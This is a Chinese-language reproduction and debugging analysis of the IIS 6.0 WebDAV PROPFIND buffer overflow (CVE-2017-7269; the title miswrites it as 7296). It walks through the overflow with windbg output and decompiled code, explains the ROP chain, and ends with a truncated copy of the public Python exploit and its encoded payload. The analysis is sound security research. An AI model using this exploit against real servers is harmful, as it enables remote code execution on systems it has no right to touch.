CVE-2017-7296复现分析

Microsoft Internet Information Services 缓冲区错误漏洞

  • CNNVD编号:CNNVD-201703-1074
  • 危害等级: 超危
  • CVE编号: CVE-2017-7269
  • 漏洞类型: 缓冲区错误
  • 发布时间: 2017-03-27
  • 威胁类型: 远程
  • 更新时间: 2019-07-08
  • 厂 商: microsoft

漏洞简介

  • Internet Information Services(IIS)是一套运行于Microsoft Windows中的互联网基本服务。

  • Microsoft Windows Server 2003 R2中的IIS 6.0版本中的WebDAV服务的ScStoragePathFromUrl函数存在缓冲区溢出漏洞(堆溢出和栈溢出都包括)。远程攻击者可通过发送特制的PROPFIND请求利用该漏洞执行任意代码。

  • WEB分布式创作和版本控制WebDAV是超文本传输协议HTTP的扩展,可促进用户之间在编辑和管理存储在万维网服务器上的文档和文件之间的协作。

  • ROPFIND用于从WEB资源检索以XML存储的属性。它也被重载,以允许它检索远程系统的集合结构(也称为目录层次结构)。

复现环境


  • Windows Server 2003 R2, Enterprise Edition with SP2目标机
    • 开始菜单—>管理工具—>管理您的服务器—>添加或删除角色(应用服务器(IIS,ASP,NET))
    • 开始菜单—>管理工具—>Internet 信息服务(IIS)管理器—>Web服务设置—>WebDAV(允许)
  • Windows 7 Enterprise with Service Pack 1 (x86)攻击机
    • 用来执行EXP实现RCE漏洞利用

详细分析


定位溢出点

随便建立一个默认的网站index页面,测试使用EXP,可以成功触发由w3wp.exe创建calc.exe

微软给出的WebDAV PROPFIND方法的请求示例如下,可以通过socket的方式按照下述方式构造数据包

1
2
3
4
5
6
7
8
9
10
11
12
PROPFIND /public/docs/myFile.doc HTTP/1.1
Content-Type: text/xml
Content-Length: XXX
Depth: 0
Translate: f
...

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop><a:getcontenttype/></a:prop>
<a:prop><a:getcontentlength/></a:prop>
</a:propfind>

由于没有补丁程序且栈层严重损坏根据栈回溯定位溢出点比较麻烦,尝试开启PageHeap机制,启用PageHeap后,堆内存分配将会在分配内存后面紧跟了一个4k的PAGE_NOACCESS属性的页面,这种情况下,尝试读写执行所分配内存其后的地址将会导致访问冲突,因此启用PageHeap的好处是能在一定程度上检查内存越界。和PAGE_GUARD有点相似,任何尝试访问PAGE_GUARD保护页面的尝试都会导致系统引发STATUS_GUARD_PAGE_VIOLATION异常并关闭保护页面状态。

下载旧版本windbg进行本地调试windbg目录下执行如下命令开启PageHeap

1
gflags.exe /p /enable C:\WINDOWS\system32\inetsrv\w3wp.exe

修改POC代码,使其发送超长字符串导致溢出

1
2
3
4
5
6
7
8
9
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.1.2',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='A'*10240
pay+='>\r\n\r\n'
sock.send(pay)

使用windbg附加到w3wp.exe进程,在攻击机执行POC触发PAGE_NOACCESS,windbg自动断下,回显信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:013> .reload
Reloading current modules
.................................................
[...]
0:013> g
ModLoad: 673e0000 6741e000 \\?\c:\windows\system32\inetsrv\httpext.dll
ModLoad: 5bac0000 5bac6000 C:\WINDOWS\system32\staxmem.dll
ModLoad: 6da00000 6da06000 C:\WINDOWS\system32\inetsrv\davcprox.dll
(fe4.180): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00005014 ebx=00002809 ecx=0000026c edx=01e8c978 esi=020b6f14 edi=01e91000
eip=673f6fdb esp=0133f330 ebp=0133f798 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
httpext!ScStoragePathFromUrl+0x360:
673f6fdb f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

可以看到溢出点在httpext!ScStoragePathFromUrl+0x360

查看拷贝内容ESI的值,是构造的超长字符串AAAA…转码Unicode后的内容

1
2
3
4
5
6
7
8
9
0:005> db esi
020b6f14 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f24 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f34 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f44 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f54 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f64 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f74 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
020b6f84 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.

调用栈信息如下

1
2
3
4
5
6
7
8
9
10
11
0:005> kb
ChildEBP RetAddr Args to Child
0133f798 673e9469 01e8c978 0133f800 00000000 httpext!ScStoragePathFromUrl+0x360
0133f7ac 673f5484 020b2890 01e8c978 0133f800 httpext!CMethUtil::ScStoragePathFromUrl+0x18
0133fc34 673f561e 01e8bba8 01e85eee 0133fc78 httpext!HrCheckIfHeader+0x15e
0133fc44 673ef659 01e8bba8 01e85eee 00000001 httpext!HrCheckStateHeaders+0x10
0133fc78 673ef7c5 01e8c340 0133fcd4 674104e2 httpext!CPropFindRequest::Execute+0xf0
0133fc90 673f96f2 01e8c340 00000004 01357678 httpext!DAVPropFind+0x47
0133fce0 673e7bc6 01e863e0 01e8bba8 01357678 httpext!CDAVExt::DwMain+0x12e
0133fe04 5a5c2991 01357678 013563b8 01357008 httpext!DwDavFSExtensionProc+0x3f
0133fe24 5a6368ff 013575e8 673e7b87 0133fe50 w3isapi!ProcessIsapiRequest+0x214

静态分析


ScStoragePathFromUrl函数声明如下

1
2
3
4
5
6
SCODE __fastcall ScStoragePathFromUrl (
/* [in] */ const IEcb& ecb,
/* [in] */ LPCWSTR pwszUrl,//userurl
/* [out] */ LPWSTR wszStgID,
/* [in/out] */ UINT* pcch,
/* [out] */ CVRoot** ppcvr = NULL);

IDA查看httpext!ScStoragePathFromUrl+0x360位置,由于qmemcpy函数造成堆溢出

简单分析后发现三次qmemcpy函数的Dst地址都与ScStoragePathFromUrl第三个参数有关,根据调用栈信息回溯参数三来源于HrCheckIfHeader函数中的String变量,而String值来源于CStackBuffer<unsigned short,260>

HrCheckIfHeader函数中存在两次对ScStoragePathFromUrl函数的调用,第一次调用时发现String并未发生变化,而v27的值变为了281c,尝试跟进ScStoragePathFromUrl函数发现代码存在以下逻辑,显然将会由于路径长度超过缓存区大小从而将URL转换为真实物理路径的字符数存在v27所在地址中并返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
struct _HSE_UNICODE_URL_MAPEX_INFO v40;  
/*
typedef struct _HSE_UNICODE_URL_MAPEX_INFO HSE_UNICODE_URL_MAPEX_INFO {
WCHAR lpszPath[MAX_PATH];//虚拟根目录映射到的物理路径
DWORD dwFlags;//与URL关联的访问权限,指示URL是否具有读取,写入或执行权限
DWORD cchMatchingPath;//物理路径中的字符数
DWORD cchMatchingURL;//URL中的字符数
DWORD dwReserved1;//保留。不使用
DWORD dwReserved2;//保留。不使用
} HSE_UNICODE_URL_MAPEX_INFO, * LPHSE_UNICODE_URL_MAPEX_INFO;
*/
v34 = a4;//a4初始为0x82,a4=&v27
String = (wchar_t *)a2; //pwszUrl=用户传入的URL
[...]
result = ScStripAndCheckHttpPrefix(a1, (const unsigned __int16 **)&String);// 从URL切割相对路径存储到String
result = IEcbBase::ScReqMapUrlToPathEx(a1, String, &v40);//将String转换为物理路径存储在`v40
v7 = _wcslen(String);
v16 = v40.cchMatchingPath;//物理路径中字符数
v18 = (struct IEcb *)(v16 - v40.cchMatchingURL + v7 + 1);//物理路径+相对路径+1
v19 = *v34 < (unsigned int)v18;//条件成立
v37 = v18;
if ( v19 )//执行该分支将不会进行memcpy函数
{
*v34 = (unsigned int)v18;//将v18传给v34
if ( v33 )
{
v20 = *v33;
*v33 = 0;
if ( v20 )
CRefCountedObject::Release(v20);
}
result = 1;
}
else
{
v21 = v35;
v22 = v16;
v23 = 2 * v16;
v24 = (unsigned int)(2 * v16) >> 2;
qmemcpy(v35, &v40, 4 * v24);
[...]

经过分析v27初始为0x82是因为CStackBuffer<unsigned short,260>::resize函数中计算初始值为0x412,并在使用前对其进行右移3位,得到0x82

因此,第一次进入ScStoragePathFromUrl函数时URL长度大于0x82并不会执行qmemcpy操作,而是将URL转换成物理路径后传回其字符数

HrCheckIfHeader函数第二次对ScStoragePathFromUrl函数进行调用时,重新调用CStackBuffer分配内存,传入的长度是第一次执行ScStoragePathFromUrl回传的长度,而第一次回传的长度是字符数,但是调用CStackBuffer时将其当为字节数传入,也就是这里分配内存过小导致了栈溢出

CStackBuffer<ushort,260>::resize中可以看到,当字符数小于260时,不会调用ExAlloc分配堆内存,而是直接使用栈空间,这样就会导致栈溢出

两次调用CStackBuffer<ushort,260>::resize函数所传入的缓冲区地址在栈中的布局如下

1
2
3
4
5
6
char v28[260]; // [esp+44h] [ebp-430h] BYREF			buffer2
unsigned int v29; // [esp+148h] [ebp-32Ch] size2
wchar_t *String; // [esp+14Ch] [ebp-328h] buffer2 ptr
_DWORD v31[66]; // [esp+150h] [ebp-324h] BYREF buffer1 66*4=264
unsigned __int16 *v32; // [esp+258h] [ebp-21Ch] size1
wchar_t String1[260]; // [esp+25Ch] [ebp-218h] BYREF buffer1

CStackBuffer<ushort,260>::resize函数中的this[65]this[66],通过分析反汇编代码可以看到与HrCheckIfHeader函数变量对应关系如下

1
2
3
4
.text:673E5EFC                 mov     esi, ecx
...
.text:673E5F33 mov [esi+108h], eax;this[66]
.text:673E5F39 mov eax, [esi+104h];this[65]
CStackBuffer::resize HrCheckIfHeader HrCheckIfHeader
this v31 v28
this[65] v31[65] v29
this[66] v32 String

HrCheckIfHeader函数在调用CStackBuffer初始化时已经将String指向了v28v32指向了v31,因此调用ScStoragePathFromUrl函数时,默认向[ebp-430h]拷贝内容

栈布局结构大致如下

EXP分析

执行EXP时,第一次调用ScStoragePathFromUrl回传长度为0xaa小于0x104,那么第二次调用CStackBuffer<ushort,260>::resize无需使用ExAlloc分配堆,直接使用栈,而实际需要的空间为0xaa*2=0x154

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:007> u
httpext!HrCheckIfHeader+0x11f:
673f5445 e80740ffff call httpext!CMethUtil::ScStoragePathFromUrl (673e9451)
673f544a 8bf0 mov esi,eax
[...]
0:007> dd ebp-434 L4
012bf800 00000082 00000000 00000000 00000000
0:007> p
eax=00000001 ebx=01e8f248 ecx=000045a9 edx=00000154 esi=00000000 edi=77ba8ef2
eip=673f544a esp=012bf7c0 ebp=012bfc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x124:
673f544a 8bf0 mov esi,eax
0:007> dd ebp-434 L4
012bf800 000000aa 00000000 00000000 00000000

v28预留栈空间只有0x104个字节,因此第二次调用ScStoragePathFromUrlv28[260]之后的内容进行覆盖,即ebp-32C(v29)覆盖为0x02020202ebp-328覆盖为0x680312c0(String),而URL长度又不足以覆盖到ebp,因此不会触发栈溢出保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:007> u
httpext!HrCheckIfHeader+0x159:
673f547f e8cd3fffff call httpext!CMethUtil::ScStoragePathFromUrl (673e9451)
673f5484 8bf0 mov esi,eax
[...]
0:007> dd ebp-32c L8
012bf908 00000412 012bf804 673e205b 00000013
012bf918 012bf9c0 673f87e7 00000000 000000f0
0:007> p
eax=00000000 ebx=01e8f248 ecx=000045a9 edx=012bf804 esi=00000001 edi=77ba8ef2
eip=673f5484 esp=012bf7c0 ebp=012bfc34 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
httpext!HrCheckIfHeader+0x15e:
673f5484 8bf0 mov esi,eax
0:007> dd ebp-32c L8
012bf908 02020202 680312c0 52566c44 6c6d4b37
012bf918 585a4f58 496a7950 4a52584f 664d4150

地址 0x680312c0 位于 rsaenh 模块中,具备 PAGE_READWRITE 属性

1
2
3
4
5
6
7
8
9
10
11
12
13
0:019> !address 680312c0                                  
Failed to map Heaps (error 80004005)
Usage: Image
Allocation Base: 68000000
Base Address: 68030000
End Address: 68032000
Region Size: 00002000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
More info: lmv m rsaenh
More info: !lmi rsaenh
More info: ln 0x680312c0

在第二次进入循环解析 http://localhost/bbbbbbb...... 时,由于之前缓存的0x02020202导致计算结构变成了00404040(右移三位)

1
2
3
4
5
6
7
8
9
0:007> dd ebp-434
012bf800 00404040 003a0063 0069005c 0065006e
012bf810 00700074 00620075 0077005c 00770077
012bf820 006f0072 0074006f 0061005c 00610061
012bf830 00610061 00610061 78636f68 71337761
012bf840 47726936 4b777a39 75534f70 48687a4f
012bf850 6d545663 39536845 5567506c 33646763
012bf860 78454630 54316952 6a514c58 42317241
012bf870 58507035 6c473664 546a3539 54435034

也就是说只需调用一次ScStoragePathFromUrl,数据将被填充到地址 0x680312c0

这里发现数据将被以宽字节的形式填充,在HrCheckIfHeader函数中存在调用CRequest::LpwszGetHeader函数,而CRequest::LpwszGetHeader中存在MultiByteToWideChar函数(该函数映射一个字符串到一个unicode的字符串),因此在编写shellcode时需要对shellcode进行编码转换

在函数 HrCheckIfHeader 之后会调用FGetLockHandle函数,FGetLockHandle中存在CParseLockTokenHeader::HrGetLockIdForPath 函数

CParseLockTokenHeader::HrGetLockIdForPath 函数存在多次调用 CMethUtil::ScStoragePathFromUrl

HrCheckIfHeader 相似,解析URL 第一部分(http://localhost/aaaaaaa....)时完成栈溢出,此时会覆盖到一个引用 CMethUtil 对象的局部变量,缓冲区地址在栈中的布局如下

1
2
3
4
5
6
7
wchar_t *String1; // [esp+3Ch] [ebp-230h]
unsigned int v26; // [esp+40h] [ebp-22Ch] BYREF
_DWORD v27[66]; // [esp+44h] [ebp-228h] BYREF
unsigned __int16 *v28; // [esp+14Ch] [ebp-120h]
wchar_t *v29[66]; // [esp+150h] [ebp-11Ch] BYREF
wchar_t *String; // [esp+258h] [ebp-14h]
int v31; // [esp+268h] [ebp-4h]

同样地,函数在调用CStackBuffer初始化时已经将String指向了v29CStackBuffer::release变量来源对应关系如下

CStackBuffer::resize HrGetLockIdForPath HrGetLockIdForPath
this v27 v29
this[65] v27[65] v29[65]
this[66] v28 String

与第一轮溢出逻辑相同,这里在覆盖局部栈空间时覆盖了一个后续会用到的CparseLockTokenHeader 对象的成员变量,程序只有在函数返回时, 才会去检查Security Cookie,如果在函数返回之前劫持了EIPshellcode将会预期执行

覆盖前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:007> dds ebp
012bfbd0 012bfc3c
012bfbd4 673eaba9 httpext!FGetLockHandle+0x40
012bfbd8 01e8cb16
012bfbdc 80000000
012bfbe0 012bfc28
012bfbe4 00000000
012bfbe8 01e8f248
012bfbec 01e8f780
012bfbf0 01e8f780
012bfbf4 00000000
012bfbf8 00000000
012bfbfc 00000000
012bfc00 00000040
012bfc04 00000000
012bfc08 012bfc29

覆盖后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:007> dds ebp
012bfbd0 4a52584f
012bfbd4 664d4150
012bfbd8 680313c0 rsaenh!g_pfnFree+0x104
012bfbdc 65314834
012bfbe0 6e666f43
012bfbe4 436c7441
012bfbe8 680313c0 rsaenh!g_pfnFree+0x104
012bfbec 6a415343
012bfbf0 33307052
012bfbf4 424c5866
012bfbf8 6346704b
012bfbfc 79415173
012bfc00 4a6c7a50
012bfc04 0000003e
012bfc08 012bfc29

栈地址012bfbe8被填充为680313c0

012bfbe8下硬件写入断点,在CParseLockTokenHeader+0x13断下

1
2
3
4
5
6
7
8
9
10
11
12
13
0:007> ba w1 012bfbe8
0:007> pc
Breakpoint 0 hit
eax=01e8f248 ebx=00000000 ecx=012bfbec edx=012bfc68 esi=012bfbe8 edi=80000000
eip=673e860b esp=012bfbd0 ebp=012bfbd8 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
httpext!CParseLockTokenHeader::CParseLockTokenHeader+0x13:
673e860b e8eee00000 call httpext!HDRITER_TEMPLATE<char>::HDRITER_TEMPLATE<char> (673f66fe)
0:007> kb
ChildEBP RetAddr Args to Child
012bfbd8 673eab84 01e8f248 01e8f780 01e8f248 httpext!CParseLockTokenHeader::CParseLockTokenHeader+0x13
012bfc3c 673ef68e 01e8f248 01e8cb16 80000000 httpext!FGetLockHandle+0x1b
012bfc78 673ef7c5 01e8f298 012bfcd4 674104e2 httpext!CPropFindRequest::Execute+0x125

FGetLockHandle函数中将012bfbe8作为CParseLockTokenHeader对象成员的指针地址

在解析 URL 第二部分(http://localhost/bbbbbbb....)时,ScStoragePathFromUrl中的 ScStripAndCheckHttpPrefix函数通过寄存器+偏移的方式调用CParseLockTokenHeader对象

1
2
3
4
5
6
7
8
9
.text:674035E5                 push    edi
.text:674035E6 mov edi, ecx;012bfbe8
.text:674035E8 mov eax, [edi];680313c0
.text:674035EA lea ecx, [ebp+String1]
.text:674035ED push ecx
.text:674035EE mov ecx, edi
.text:674035F0 mov [ebp+var_C], edx
.text:674035F3 call dword ptr [eax+24h];680313c0+24h
.text:674035F6 mov ebx, eax

此时call会跳转到680313c0+24处所存的地址68016082,经过一系列ROP创建calc.exe

1
2
3
4
5
6
0:007> u
httpext!ScStripAndCheckHttpPrefix+0x1e:
674035f3 ff5024 call dword ptr [eax+24h]
674035f6 8bd8 mov ebx,eax
0:007> r eax
eax=680313c0

ROP代码拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
68016082 8be1            mov     esp,ecx;680313c0
68016084 8b08 mov ecx,dword ptr [eax];680313c0
68016086 8b4004 mov eax,dword ptr [eax+4];68006e4f
68016089 50 push eax
6801608a c3 ret;jmp 68006e4f
[...]
68006e4f 5e pop esi;680313c0
68006e50 5d pop ebp;68006e4f
68006e51 c22000 ret 20h;jmp 68006e4f
[...]
68006e4f 5e pop esi;4d47747a
68006e50 5d pop ebp;57574459
68006e51 c22000 ret 20h;jmp 6800b113
[...]
6800b113 6a40 push 40h
6800b115 eb0e jmp rsaenh!GetHashLength+0x39 (6800b125)
[...]
6800b125 58 pop eax;40
6800b126 5d pop ebp;68031434
6800b127 c20400 ret 4
[...]
680129e7 c9 leave;esp=68031438
680129e8 c3 ret
[..]
68006e05 8d65e0 lea esp,[ebp-20h];680313fc
68006e08 5f pop edi;680124e3
68006e09 5e pop esi;68031460
68006e0a 5b pop ebx;7ffe0300
68006e0b c9 leave;esp=68031420,ebp=680129e7
68006e0c c22400 ret 24h
[...]
68009391 58 pop eax;68008246
68009392 5d pop ebp;32534877
68009393 c20400 ret 4
[...]
68021daa 8b8010010000 mov eax,dword ptr [eax+110h];8f
68021db0 5d pop ebp;680313f8
68021db1 c20400 ret 4
[...]
680129e7 c9 leave;esp=680313fc,ebp=6e6f3176
680129e8 c3 ret
[...]
680124e3 ff23 jmp dword ptr [ebx];7ffe0300
[...]
7c9585e8 8bd4 mov edx,esp;68031400
7c9585ea 0f34 sysenter;NtProtectVirtualMemory
[...]
68031460 56 push esi;68031460
68031461 005600 add byte ptr [esi],dl;00560056
68031464 59 pop ecx;68031460
68031465 004100 add byte ptr [ecx],al;00560056
68031468 3400 xor al,0
6803147c 51 push ecx;68031460
6803147d 004100 add byte ptr [ecx],al;00560056
68031480 54 push esp;68031400
....................
680315f7 59 pop ecx;68031614
680315f8 5a pop edx;876f8b31
680315f9 51 push ecx;
680315fa ffe0 jmp eax;7c86411e WinExec(68031633,00000001)

梳理利用思路:

  • 第一轮溢出(HrCheckIfHeader)

    • 第一次进入while循环(循环用来遍历请求包中的URL个数)

      • 调用ScStoragePathFromUrl返回路径长度
      • 调用ScStoragePathFromUrl利用溢出覆盖String指向可利用的缓冲区地址(0x680312c0)
    • 第二次进入while循环

      • 调用ScStoragePathFromUrlshellcode写入0x680312c0(判断缓存长度为0x404040,不需要分配新的缓冲区,且只需要调用一次ScStoragePathFromUrl)
  • 第二轮溢出(HrGetLockIdForPath)

    • 第一次进入while循环

      • 调用ScStoragePathFromUrl返回路径长度

      • 调用ScStoragePathFromUrl利用溢出覆盖String指向可利用的缓冲区地址(0x680312c0),覆盖引用CMethUtil 对象的局部变量

    • 第二次进入while循环

      • 调用ScStoragePathFromUrlScStripAndCheckHttpPrefix函数调用680313c0+24开始ROP并执行shellcode

实现步骤


第一次调用ScStoragePathFromUrl

1
2
3
4
5
6
7
8
9
0:007> dd ebp-328
012bf90c 012bf804 673e205b 00000013 012bf9c0
012bf91c 673f87e7 00000000 000000f0 00000013
012bf92c 00000000 01e8df34 673f87fc 012bf9d0
012bf93c 752d6669 646f6d6e 65696669 69732d64
012bf94c 0065636e 00000000 01e80178 00000000
012bf95c 00000000 01e80608 00000108 0000fee8
012bf96c 012bf984 5a63210d 013448c8 012bfa54
012bf97c 01e8c078 012bf998 012bf9b0 5a5c1367

第二次调用ScStoragePathFromUrl

1
2
3
4
5
6
7
8
9
0:007> dd ebp-328
012bf90c 680312c0 52566c44 6c6d4b37 585a4f58
012bf91c 496a7950 4a52584f 664d4150 680313c0
012bf92c 65314834 6e666f43 436c7441 680313c0
012bf93c 6a415343 33307052 424c5866 6346704b
012bf94c 79415173 4a6c7a50 0000003e 00000000
012bf95c 00000000 01e80608 00000108 0000fee8
012bf96c 012bf984 5a63210d 013448c8 012bfa54
012bf97c 01e8c078 012bf998 012bf9b0 5a5c1367

调用ScStoragePathFromUrlshellcode写入0x680312c0

1
2
3
4
5
6
7
8
9
0:007> db 680312c0 
680312c0 63 00 3a 00 5c 00 69 00-6e 00 65 00 74 00 70 00 c.:.\.i.n.e.t.p.
680312d0 75 00 62 00 5c 00 77 00-77 00 77 00 72 00 6f 00 u.b.\.w.w.w.r.o.
680312e0 6f 00 74 00 5c 00 62 00-62 00 62 00 62 00 62 00 o.t.\.b.b.b.b.b.
680312f0 62 00 62 00 48 79 75 61-43 4f 67 6f 6f 6b 45 48 b.b.HyuaCOgookEH
68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV
68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC
68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP
68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4

HrGetLockIdForPath中第一次调用ScStoragePathFromUrl

1
2
3
4
5
6
7
8
9
0:007> dd ebp-14
012bfbbc 012bfab4 000045a9 012bfc30 67410bdd
012bfbcc 00000002 012bfc3c 673eaba9 01e8cb16
012bfbdc 80000000 012bfc28 00000000 01e8f248
012bfbec 01e8f780 01e8f780 00000000 00000000
012bfbfc 00000000 00000040 00000000 012bfc29
012bfc0c 00000012 01e8cf68 00000000 00000000
012bfc1c 00000000 00000000 00000000 00000000
012bfc2c 00000000 012bfc6c 6740fd44 00000000

第二次调用ScStoragePathFromUrl,地址012bfbe8被填充为680313c0

1
2
3
4
5
6
7
8
9
0:007> dd ebp-14
012bfbbc 680312c0 52566c44 6c6d4b37 585a4f58
012bfbcc 496a7950 4a52584f 664d4150 680313c0
012bfbdc 65314834 6e666f43 436c7441 680313c0
012bfbec 6a415343 33307052 424c5866 6346704b
012bfbfc 79415173 4a6c7a50 0000003e 012bfc29
012bfc0c 00000012 01e8cf68 00000000 00000000
012bfc1c 00000000 00000000 00000000 00000000
012bfc2c 00000000 012bfc6c 6740fd44 00000000

解析 URL 第二部分,跳转到680313c0+24,最后就是ROP+shellcode

1
2
3
4
5
6
0:007> u
httpext!ScStripAndCheckHttpPrefix+0x1e:
674035f3 ff5024 call dword ptr [eax+24h]
674035f6 8bd8 mov ebx,eax
0:007> r eax
eax=680313c0

总结


第一次url aaaaaa中,就已经引发了栈溢出,覆盖到了String指针,这个指针存放在栈里,用于后续调用存放虚拟路径,由于第一次栈溢出,覆盖到了这个变量导致第二次url bbbbb拷贝的时候,是向一个堆地址拷贝,在HrGetLockIdForPath函数中同样的方式解析url aaaaaa,这时覆盖了调用栈中用来保存CParseLockTokenHeader对象成员的指针变量,在ScStoragePathFromUrl中正好调用到这个对象,利用这次覆盖可以达到劫持EIP的效果。

公开的EXP代码


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.59.129',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If: <http://localhost/aaaaaaa'
pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80\xb3\xe3\x95\xb7\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
